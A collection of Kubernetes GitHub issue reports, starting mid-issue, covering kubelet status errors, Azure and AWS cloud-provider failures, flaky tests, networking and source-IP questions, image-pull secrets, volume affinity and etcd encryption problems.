january 9th 2018, 13:37:54.666 | , diff2={\ status\ :{\ $setelementorder/conditions\ : {\ type\ :\ outofdisk\ },{\ type\ :\ memorypressure\ },{\ type\ :\ diskpressure\ },{\ type\ :\ ready\ } ,\ conditions\ : {\ lastheartbeattime\ :\ 2018-01-09t11:37:54z\ ,\ type\ :\ outofdisk\ },{\ lastheartbeattime\ :\ 2018-01-09t11:37:54z\ ,\ type\ :\ memorypressure\ },{\ lastheartbeattime\ :\ 2018-01-09t11:37:54z\ ,\ type\ :\ diskpressure\ },{\ lastheartbeattime\ :\ 2018-01-09t11:37:54z\ ,\ type\ :\ ready\ } }}\r january 9th 2018, 13:37:54.665 | e0109 03:37:54.665504    5223 kubelet_node_status.go:383  error updating node status, will retry: failed to patch status \ {\\\ status\\\ :{\\\ $setelementorder/conditions\\\ : {\\\ type\\\ :\\\ outofdisk\\\ },{\\\ type\\\ :\\\ memorypressure\\\ },{\\\ type\\\ :\\\ diskpressure\\\ },{\\\ type\\\ :\\\ ready\\\ } ,\\\ conditions\\\ : {\\\ lastheartbeattime\\\ :\\\ 2018-01-09t11:37:54z\\\ ,\\\ type\\\ :\\\ outofdisk\\\ },{\\\ lastheartbeattime\\\ :\\\ 2018-01-09t11:37:54z\\\ ,\\\ type\\\ :\\\ memorypressure\\\ },{\\\ lastheartbeattime\\\ :\\\ 2018-01-09t11:37:54z\\\ ,\\\ type\\\ :\\\ diskpressure\\\ },{\\\ lastheartbeattime\\\ :\\\ 2018-01-09t11:37:54z\\\ ,\\\ type\\\ :\\\ ready\\\ } }}\  for node \ elasticsearch-ca-ovh-18\ : operation cannot be fulfilled on nodes \ elasticsearch-ca-ovh-18\ : there is a meaningful conflict  firstresourceversion: \ 2729759\ , currentresourceversion: \ 2729772\  :\r    \r \r rebooting those nodes doesn't solve the issue\r \r   what you expected to happen  :\r \r i expected not to see errors that node is in unknown status and to see all pod and replicas running\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r not sure how to reproduce because it was from beginning\r \r   anything else we need to know?  :\r   environment  :\r \r there are 3 servers, they are etc,master and slave servers simultaneously \r if you nee more info ore configs please let me know\r \r - kubernetes version:  client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.1\ , gitcommit:\ 3a1c9449a956b6026f075fa3134ff92f7d55f812\ , gittreestate:\ clean\ , builddate:\ 2018-01-04t11:52:23z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ } \r - cloud provider or hardware configuration: ovh\r - os:  ubuntu 16.04.3 lts \r - kernel  4.10.0-42-generic  46~16.04.1-ubuntu smp mon dec 4 15:57:59 utc 2017 x86_64 x86_64 x86_64 gnu/linux \r - install tools: ansible\r - others:\r \r @kubernetes/sig-cluster-ops-bugs \r @kubernetes/sig-node-bugs

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r \r when azure arm api gets something wrong, kube-controller-manager may panic because of azure cloud provider:\r \r    \r /usr/local/go/src/runtime/asm_amd64.s:2361\r panic: runtime error: invalid memory address or nil pointer dereference  recovered \r \tpanic: runtime error: invalid memory address or nil pointer dereference\r  signal sigsegv: segmentation violation code=0x1 addr=0x0 pc=0x1d4cad9 \r \r goroutine 1386  running :\r k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime.handlecrash 0x0, 0x0, 0x0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:58 +0x107\r panic 0x44468c0, 0x8b76a30 \r \t/usr/local/go/src/runtime/panic.go:502 +0x229\r k8s.io/kubernetes/pkg/cloudprovider/providers/azure.processhttpretryresponse 0x0, 0x64ffec0, 0xc4229fd1f0, 0xc422ed05b0, 0x2, 0x2 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/cloudprovider/providers/azure/azure_backoff.go:364 +0x69\r k8s.io/kubernetes/pkg/cloudprovider/providers/azure.  cloud .createorupdatepipwithretry.func1 0xc422ed0600, 0x0, 0x0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/cloudprovider/providers/azure/azure_backoff.go:205 +0x298\r    \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r create loadbalancer services on azure and it may happen when azure returns something wrong  e.g. dns record conflict .\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration: azure\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r 

example failure: https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-ubuntu2-k8sbeta-default/3021 sig-storage-in-tree-volumes-driver-gcepd-testpattern-pre-provisioned-pv-xfs-volumes-should-be-mountable\r \r   which jobs are failing  :\r ci-kubernetes-e2e-gke-ubuntu2-k8sbeta-default \r ci-kubernetes-e2e-gke-ubuntu1-k8sbeta-default\r \r   which test s  are failing  :\r   sig-storage  in-tree volumes  driver: gcepd   testpattern: pre-provisioned pv  xfs   volumes should be mountable\r \r   since when has it been failing  :\r flaking for a while\r \r   testgrid link  :\r https://testgrid.k8s.io/canonical-ubuntu2-k8sbeta gke-ubuntu2-k8sbeta-default\r \r   reason for failure  :\r unknown\r \r   anything else we need to know  :\r \r <!-- do not edit below this line -->\r   /assign

i am new to kubernetes. i am running kubectl to pods:kubectl run busybox-1 --image=docker.io/library/busybox:latest --replicas=2 \r but this status shows up:crashloopbackoff\r ! image  https://user-images.githubusercontent.com/13761170/56120036-ddf88000-5f9f-11e9-9608-e72210398a27.png \r and this is the kubectl describle pod podname shows:\r ! image  https://user-images.githubusercontent.com/13761170/56120109-10a27880-5fa0-11e9-8e48-5cea65cc815f.png \r what problem could this be? i am confused😂.\r the os is centos 7.\r any help will be much appreciated.

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gci-gce-etcd3/2339/  failed:  k8s.io  pods delete grace period should be submitted and removed  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/pods.go:188 failed to observe pod deletion /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/pods.go:176

is this a bug report or feature request?    choose one :\r bug report\r \r   kubernetes version    use  kubectl version  :\r master branch\r \r   what happened  :\r this's a follow up of  45628, there's a case that: a node does not have enough cpu or memory resource to create the pod of ds, later i delete pods on it, and it satisfy the request now, but the ds controller could not feel it.\r

/assign q-lee\r   \r created as a result of sig-testing v1.8 / 2017 planning.  accidentally created originally as kubernetes/test-infra 3372\r \r @fejta @q-lee can you provide some context here?  i'm assuming this is about creating a  test/integration/framework  package that is similar to  test/e2e/framework , presumably with the idea that making it easier to write integration tests will make it easier to discourage / move away from slower, flakier e2e tests.

is this a bug report or feature request?  :\r \r  \r  or a missing note / caveat in https://kubernetes.io/docs/tasks/access-application-cluster/create-external-load-balancer/ preserving-the-client-source-ip \r \r   what happened  :\r \r i noticed that my ingress controller  traefik  was providing wrong values for the  x-forwarded-for  http header. it turned out that even when traefik was bypassed, i was not able to see a real remote client ip in the http headers. running  gcr.io/google_containers/echoserver:1.8  as a nodeport or loadbalancer service consistently reported  client_address=10.32.0.1  in the requests  same as  x-forwarded-for  assigned by traefik earlier .\r \r i read  using source ip  https://kubernetes.io/docs/tutorials/services/source-ip/ , which suggested that such a problem could exist in multi-node clusters. setting  externaltrafficpolicy: local  for a service of type  nodeport  or  loadbalancer  was supposed to be a cure, however, this did not help me unfortunately. even a diligent repetition of all the steps mentioned in the topic did not allow me to see a real remote ip address.\r \r my k8s cluster is supersimple – it has been created with kubeadm and sits in a single public-facing kvm. i've been using docker on the same machines previously and never had issues with figuring out a remote ip inside the containers. maybe the issue is somehow related to the weave network that i'm using or there is something else with the setup that breaks the expected behavior?\r \r what can you guys suggest?\r \r   what you expected to happen  :\r \r i expected  remote_address  to be equal ty my client's ip address, i.e. the same one i see when  tcpdump -nnn -i any port $serviceport  on the server.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.4\ , gitcommit:\ 793658f2d7ca7f064d2bdf606519f9fe1229c381\ , gittreestate:\ clean\ , builddate:\ 201\r 7-08-17t17:03:51z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.2\ , gitcommit:\ 922a86cfcd65915a9b2f69f3f193b8907d741d9c\ , gittreestate:\ clean\ , builddate:\ 201\r 7-07-21t08:08:00z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration  :\r \r a single-node cluster  ubuntu kvm  at https://firstvds.ru/\r \r - os  e.g. from /etc/os-release :\r \r    \r name=\ ubuntu\ \r version=\ 16.04.2 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.2 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r    \r \r - kernel  e.g.  uname -a  :\r \r    \r 4.4.0-83-generic\r    \r \r - install tools:\r \r    \r kubeadm\r    \r \r - others:\r \r  using weave as a pod network.  ps aux | grep -f 10.32  returns:\r \r    \r /home/weave/weaver\r --port=6783\r --datapath=datapath\r --host-root=/host\r --http-addr=127.0.0.1:6784\r --status-addr=0.0.0.0:6782\r --docker-api=\r --no-dns\r --db-prefix=/weavedb/weave-net\r --ipalloc-range=10.32.0.0/12                       <----\r --nickname=kachkaev\r --ipalloc-init consensus=1\r --conn-limit=30\r --expect-npc 91.240.87.56\r    \r \r  ps aux | grep api \r \r    \r kube-apiserver \r --service-node-port-range=80-10000 \r --experimental-bootstrap-token-auth=true \r --kubelet-preferred-address-types=internalip,externalip,hostname \r --requestheader-group-headers=x-remote-group \r --kubelet-client-certificate=/etc/kubernetes/pki/apiserver-kubelet-client.crt \r --kubelet-client-key=/etc/kubernetes/pki/apiserver-kubelet-client.key \r --proxy-client-key-file=/etc/kubernetes/pki/front-proxy-client.key \r --insecure-port=0 \r --requestheader-username-headers=x-remote-user \r --requestheader-allowed-names=front-proxy-client \r --service-account-key-file=/etc/kubernetes/pki/sa.pub \r --client-ca-file=/etc/kubernetes/pki/ca.crt \r --allow-privileged=true \r --service-cluster-ip-range=10.96.0.0/12 \r --secure-port=16443 \r --requestheader-extra-headers-prefix=x-remote-extra- \r --tls-cert-file=/etc/kubernetes/pki/apiserver.crt \r --tls-private-key-file=/etc/kubernetes/pki/apiserver.key \r --requestheader-client-ca-file=/etc/kubernetes/pki/front-proxy-ca.crt \r --proxy-client-cert-file=/etc/kubernetes/pki/front-proxy-client.crt \r --admission-control=initializers,namespacelifecycle,limitranger,serviceaccount,persistentvolumelabel,defaultstorageclass,defaulttolerationseconds,noderestriction,resourcequota \r --authorization-mode=node,rbac \r --advertise-address=42.42.42.42 \r --etcd-servers=http://127.0.0.1:2379\r

what happened  :\r when number of deployment integration tests increases more than a threshold, an error running  race: limit on 8192 simultaneously alive goroutines is exceeded, dying  happens when running the tests locally using bazel. the error does not happen when the number of tests is small.\r \r   what you expected to happen  :\r the integration tests should not create so many alive goroutines  more than 8192 .\r \r   how to reproduce it  as minimally and precisely as possible   :\r  1  duplicate each deployment tests under  test/integration/deployment  directory   twice   with a digit identifier\r  2   bazel build //test/integration/deployment/... \r  3   bazel test //test/integration/deployment/... \r \r   anything else we need to know?  :\r the error also happens for replicaset. it may be related to how integration test environment is set up.\r \r  

is this a bug report or feature request?  :\r \r  \r   what happened  :\r to configure a load balancer firewall, the only option right now is to use the service's  loadbalancersourceranges  to define the ranges that should be allowed. if you have lots of disjointed ranges to include, you have to include the entire list for each service.\r \r   what you expected to happen  :\r \r there should be a way to reference ranges defined elsewhere by name. this would also allow cluster administrators to update all relevant services easily.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r let's say you're serving http traffic, and expect all traffic to come through cloudflare, right now you'll define a service like so:\r \r    yaml\r apiversion: v1\r kind: service\r metadata:\r   name: myapp\r spec:\r   ports:\r   - port: 443\r     targetport: 9376\r   selector:\r     app: example\r   type: loadbalancer\r   loadbalancersourceranges:\r   - 103.21.244.0/22\r   - 103.22.200.0/22\r   - 103.31.4.0/22\r   - 104.16.0.0/12\r   - 108.162.192.0/18\r   - 131.0.72.0/22\r   - 141.101.64.0/18\r   - 162.158.0.0/15\r   - 172.64.0.0/13\r   - 173.245.48.0/20\r   - 188.114.96.0/20\r   - 190.93.240.0/20\r   - 197.234.240.0/22\r   - 198.41.128.0/17\r    \r \r if those pesky folks at cloudflare add another range, you're now responsible for updating the source ranges for every service.\r \r as an alternative, if you had the ability to reference configuration elsewhere in the cluster:\r \r    yaml\r apiversion: v1\r kind: service\r metadata:\r   name: myapp\r spec:\r   ports:\r   - port: 443\r     targetport: 9376\r   selector:\r     app: example\r   type: loadbalancer\r   loadbalancersourceranges:\r   - valuefrom:\r       configmapkeyref:\r         name: cf-edge\r         key: ranges\r ---\r apiversion: v1\r kind: configmap\r metadata:\r   name: cf-edge\r   namespace: default\r data:\r   ranges:\r   - 103.21.244.0/22\r   - 103.22.200.0/22\r    \r \r  it doesn't have to be a configmap, but it seems natural and similar to configuring a pod \r \r now the cluster administrators only need to update the ranges in one place, and cluster users have an easier experience using the cluster.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  \r \r   what happened  :\r \r kubelet can't start with --cloud-provider=aws --cloud-config=/etc/kubernetes/cloud-config\r \r   what you expected to happen  :\r \r kubele could start and using cloud-config for aws\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r start kubelete with \ --cloud-provider=aws --cloud-config=/etc/kubernetes/cloud-config\  and the cloud-config file like this from aws document :\r \r  default \r aws_access_key_id = your_aws_access_key_id\r aws_secret_access_key = your_aws_secret_access_key\r \r \r   anything else we need to know?  :\r \r   environment  : centos7.3\r - kubernetes version  use  kubectl version  : v1.8.4\r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release :\r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r \r - kernel  e.g.  uname -a  : \r linux ip-172-31-34-134.us-west-2.compute.internal 3.10.0-514.10.2.el7.x86_64  1 smp fri mar 3 00:04:05 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools: yum install kubelet\r - others:\r \r logs:\r error: failed to run kubelet: could not init cloud provider \ aws\ : unable to read aws cloud provider config file: 2:4: illegal character u+005f '_'\r \r

<!-- this form is for bug reports and feature requests only! \r \r @kubernetes/sig-api-machinery-feature-requests\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r \r we have a namespace containing 700 replication controllers. they belong to an app, that exists in two sizes, the one small with only two pods, the other more sophisticated with four pods. when we started with k8s we wrote an app to create rcs on request. all specifications are inside rc.yaml and service.yaml. meanwhile we notice, that maintaining those >700 rcs would be much easier, if we had decoupled some attributes. we had a look at configmaps  works for environment variables , podpresets and limitranges  works for resource limits . limitranges would be perfect for everything that had been left open by configmaps, if we could specify different limitranges for the small and the more sophisticated rcs. such differentiation could be done through selector support. yet selectors are not supported in limitranges. could you kindly add this feature? \r \r   what you expected to happen  :\r \r behavior like in podpresets. s.th. like this: \r    \r     spec:\r       selector:\r         matchlabels:\r           instancetype: sophisticated\r     \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - n.a.

  \r \r   what happened  :\r failure to pull docker images from a protected repository that used to work in 1.8.4  still works in 1.8.6 \r onap-aai      aai-resources-122881374-s5qd4           1/2       imagepullbackoff   0          9h\r using\r create_registry_key   {\r   cmd= echo kubectl --namespace $1-$2 create secret docker-registry $3 --docker-server=$4 --docker-username=$5 --docker-password=$6 --docker-email=$7 \r   eval ${cmd}\r   check_return_code $cmd\r }\r \r before bringing up the pod\r \r   what you expected to happen  :\r docker pull from protected registry works\r \r   how to reproduce it  as minimally and precisely as possible   :\r https://wiki.onap.org/display/dw/onap+on+kubernetes onaponkubernetes-installkubectl \r curl -lo https://storage.googleapis.com/kubernetes-release/release/v1.8.6/bin/linux/amd64/kubectl\r install kubernetes 1.9.0 to break the secret generation\r \r install kubernetes 1.8.6 to fix it\r \r   anything else we need to know?  :\r https://jira.onap.org/browse/oom-522\r \r   environment  :\r ubuntu@ip-172-31-82-112:~$ kubectl version\r \r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.6\ , gitcommit:\ 6260bb08c46c31eea6cb538b34a9ceb3e406689c\ , gittreestate:\ clean\ , builddate:\ 2017-12-21t06:34:11z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r server version: version.info{major:\ 1\ , minor:\ 7+\ , gitversion:\ v1.7.7-rancher1\ , gitcommit:\ a1ea37c6f6d21f315a07631b17b9537881e1986a\ , gittreestate:\ clean\ , builddate:\ 2017-10-02t21:33:08z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r bare metal nuc 5777 ubuntu 16.04 or aws ec2 vm  ebs  running ubuntu 16.04\r - os  e.g. from /etc/os-release :\r ubuntu 16.04\r - kernel  e.g.  uname -a  :\r - install tools:\r rancher 1.6.10\r helm 2.3.0 client/server\r docker 1.12.6\r - others:\r \r thank you guys, excellent project - and a shout out from the linux foundation's onap.org project which deploys 90+ containers in any 64g ubuntu 16 system to run onap.\r https://wiki.onap.org/display/dw/onap+operations+manager+project\r frank.obrien@amdocs.com\r \r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r \r   what happened  :\r reconciler in volumemanager of kubelet walks through pod volumes dir  in format of /pods/{poduid}/volume/{escapequalifiedpluginname}/{volumename}  and then tries to find its plugin basing on the  escapequalifiedpluginname \r \r for flexvolume, the escapequalifiedpluginname in the path generated through  getpath   is of drivername , but in  getpluginname   , it is \ flexvolumepluginnameprefix + plugin.drivername\ .\r the two could not match, as a result, in the reconciler we can see error like this: \r    \r could not construct volume information...., no volume plugin matched\r    \r \r   what you expected to happen  :\r reconcile normally\r \r   anything else we need to know?  :\r 

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  : \r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r the cloud provider for azure does not work. kube-apiserver does not start.\r the error repeated from docker logs on api-server container:\r \r e0402 09:37:33.504889 1 azure_backoff.go:141  backoff: failure, will retry,err=azure.bearerauthorizer withauthorization: failed to refresh the token for request to https://management.azure.com/subscriptions/xxxx-xxxx-xxx-xxxx-xxxxx/resourcegroups/rg-k8s-lab/providers/microsoft.compute/virtualmachines/k8s-master1-lab?%24expand=instanceview&api-version=2017-03-30: statuscode=0 -- original error: adal: failed to execute the refresh request. error = 'post https://login.microsoftonline.com/xxx-xxxx-xxx-xxx-xxxxxxx/oauth2/token?api-version=1.0: x509: failed to load system roots and no roots provided'\r i0402 09:37:33.504899 1 azure_instances.go:35  nodeaddresses k8s-master1-lab  abort backoff\r error setting the external host value: failed to get external host address from \ azure\  cloud provider: timed out waiting for the condition\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r i will install the cluster using ket tools. there also started a detailed ticket, but i think the problem is in azure itself or in the code kubernetes\r https://github.com/apprenda/kismatic/issues/1183\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9.3\r - cloud provider or hardware configuration: azure\r - os  e.g. from /etc/os-release : centos 7.3\r - kernel  e.g.  uname -a  :\r - install tools: ket https://github.com/apprenda/kismatic\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r \r currently, calico cni spec is specified in calico-node-daemonset.yaml under cluster/addons/calico-policy-controller without mtu specified  i.e., default 1500 is used . given this is shared across many environments, we need a way to customize its mtu, say 1460 on gcp.\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

what happened  :\r \r   k8s cluster:  \r - 1 master  us-west-2a  not schedulable\r - 1 node  us-west-2c \r \r   node labels  \r    \r roles:              node\r labels:             beta.kubernetes.io/arch=amd64\r                     beta.kubernetes.io/instance-type=m5.xlarge\r                     beta.kubernetes.io/os=linux\r                     failure-domain.beta.kubernetes.io/region=us-west-2\r                     failure-domain.beta.kubernetes.io/zone=us-west-2c\r                     kubernetes.io/role=node\r                     node-role.kubernetes.io/node=\r annotations:        node.alpha.kubernetes.io/ttl: 0\r                     volumes.kubernetes.io/controller-managed-attach-detach: true\r \r    \r   volume node affinity  us-west-2a   \r    \r node affinity:     \r   required terms:  \r     term 0:        failure-domain.beta.kubernetes.io/zone in  us-west-2a \r                    failure-domain.beta.kubernetes.io/region in  us-west-2 \r \r    \r \r   issue restoring volume  us-west-2a   \r    bash\r events:\r   type     reason             age               from                message\r   ----     ------             ----              ----                -------\r   warning  failedscheduling   3s  x7 over 28s   default-scheduler   0/2 nodes are available: 1 node s  had taints that the pod didn't tolerate, 1 node s  had volume node affinity conflict.\r   normal   nottriggerscaleup  2s  x3 over 24s   cluster-autoscaler  pod didn't trigger scale-up  it wouldn't fit if a new node is added \r    \r \r as we can see the volume node affinity requires a node running on us-west-2a az, but there is only one node running on us-west-2c.\r \r the cluster auto-scaler is not creating a new node at  us-west-2a to satisfy the node affinity conditions.\r \r   what you expected to happen  :\r a new node to be created at us-west-2a, so the volume could be attached to it.\r \r   how to reproduce it  as minimally and precisely as possible   :\r i'm using heptio velero to backup the cluster.\r so in a cluster defined as below, i create a backup using velero:\r - 1 master  us-west-2a  not schedulable\r - 1 node  us-west-2a \r \r then i delete the cluster and create a new one where the node az is different from the previous cluster  but the region is the same .\r - 1 master  us-west-2a  not schedulable\r - 1 node  us-west-2c \r \r then i use velero to restore the backup, and kubernetes is not able schedule a node to attach the volume\r \r   this is the resources that were backed up and restored.  \r    yaml\r apiversion: v1\r kind: namespace\r metadata:\r   name: nginx-example\r   labels:\r     app: nginx\r \r ---\r kind: persistentvolumeclaim\r apiversion: v1\r metadata:\r   name: nginx-logs\r   namespace: nginx-example\r   labels:\r     app: nginx\r spec:\r   storageclassname: gp2\r   accessmodes:\r   - readwriteonce\r   resources:\r     requests:\r       storage: 50mi\r \r ---\r apiversion: apps/v1beta1\r kind: deployment\r metadata:\r   name: nginx-deployment\r   namespace: nginx-example\r spec:\r   replicas: 1\r   template:\r     metadata:\r       labels:\r         app: nginx\r       annotations:\r         pre.hook.backup.velero.io/container: fsfreeze\r         pre.hook.backup.velero.io/command: ' \ /sbin/fsfreeze\ , \ --freeze\ , \ /var/log/nginx\  '\r         post.hook.backup.velero.io/container: fsfreeze\r         post.hook.backup.velero.io/command: ' \ /sbin/fsfreeze\ , \ --unfreeze\ , \ /var/log/nginx\  '\r     spec:\r       volumes:\r       - name: nginx-logs\r         persistentvolumeclaim:\r           claimname: nginx-logs\r       containers:\r       - image: nginx:1.7.9\r         name: nginx\r         ports:\r         - containerport: 80\r         volumemounts:\r         - mountpath: \ /var/log/nginx\ \r           name: nginx-logs\r           readonly: false\r       - image: gcr.io/heptio-images/fsfreeze-pause:v0.11.0\r         name: fsfreeze\r         securitycontext:\r           privileged: true\r         volumemounts:\r         - mountpath: \ /var/log/nginx\ \r           name: nginx-logs\r           readonly: false\r \r ---\r apiversion: v1\r kind: service\r metadata:\r   labels:\r     app: nginx\r   name: my-nginx\r   namespace: nginx-example\r spec:\r   ports:\r   - port: 80\r     targetport: 80\r   selector:\r     app: nginx\r   type: loadbalancer\r \r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.4\ , gitcommit:\ c27b913fddd1a6c480c229191a087698aa92f0b1\ , gittreestate:\ clean\ , builddate:\ 2019-02-28t13:37:52z\ , goversion:\ go1.11.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.0\ , gitcommit:\ ddf47ac13c1a9483ea035a79cd7c10005ff21a6d\ , gittreestate:\ clean\ , builddate:\ 2018-12-03t20:56:12z\ , goversion:\ go1.11.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: aws\r - os  e.g:  cat /etc/os-release  : ubuntu\r - kernel  e.g.  uname -a  : linux lnxcit016980 4.8.0-41-generic  44~16.04.1-ubuntu smp fri mar 3 17:11:16 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r \r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r \r    \r kubectl get secrets personal-secret  -o yaml\r error from server: illegal base64 data at input byte 3\r    \r \r this is the output most of the times. it sometimes gives the correct output also.\r \r   what you expected to happen  :\r    \r kubectl get secrets personal-secret  -o yaml\r apiversion: v1\r data:\r   password: c3vwc2vylxn0cm9uzy1wyxnz\r   username: bxvuywk=\r kind: secret\r metadata:\r   creationtimestamp: 2019-04-16t15:07:24z\r   name: personal-secret\r   namespace: default\r   resourceversion: \ 74250\ \r   selflink: /api/v1/namespaces/default/secrets/personal-secret\r   uid: 57288509-6059-11e9-affd-021b36e1a948\r type: opaque\r    \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r for encryption of etcd i followed  docs  https://v1-12.docs.kubernetes.io/docs/tasks/administer-cluster/encrypt-data/ \r \r encryption config with aescbc\r    \r etcdencryptionkey=$ head -c 32 /dev/urandom | base64 \r    \r    cat >> /etc/kubernetes/etcdencryption/etcdencryptionconfig.conf << eof\r kind: encryptionconfig\r apiversion: v1\r resources:\r   - resources:\r     - secrets\r     providers:\r     - aescbc:\r         keys:\r         - name: key1\r           secret: ${etcdencryptionkey}\r     - identity: {}\r    \r \r create a secret\r    \r kubectl create secret generic personal-secret --from-literal=username=munai --from-literal=password=supser-strong-pass\r    \r retrive the secret\r    \r kubectl get secrets personal-secret  -o yaml\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    ./kubectl version\r client version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.5\ , gitcommit:\ 51dd616cdd25d6ee22c83a858773b607328a18ec\ , gittreestate:\ clean\ , builddate:\ 2019-01-16t18:24:45z\ , goversion:\ go1.10.7\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.5\ , gitcommit:\ 51dd616cdd25d6ee22c83a858773b607328a18ec\ , gittreestate:\ clean\ , builddate:\ 2019-01-16t18:14:49z\ , goversion:\ go1.10.7\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r aws - ec2\r - os  e.g:  cat /etc/os-release  :\r    \r cat /etc/os-release\r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 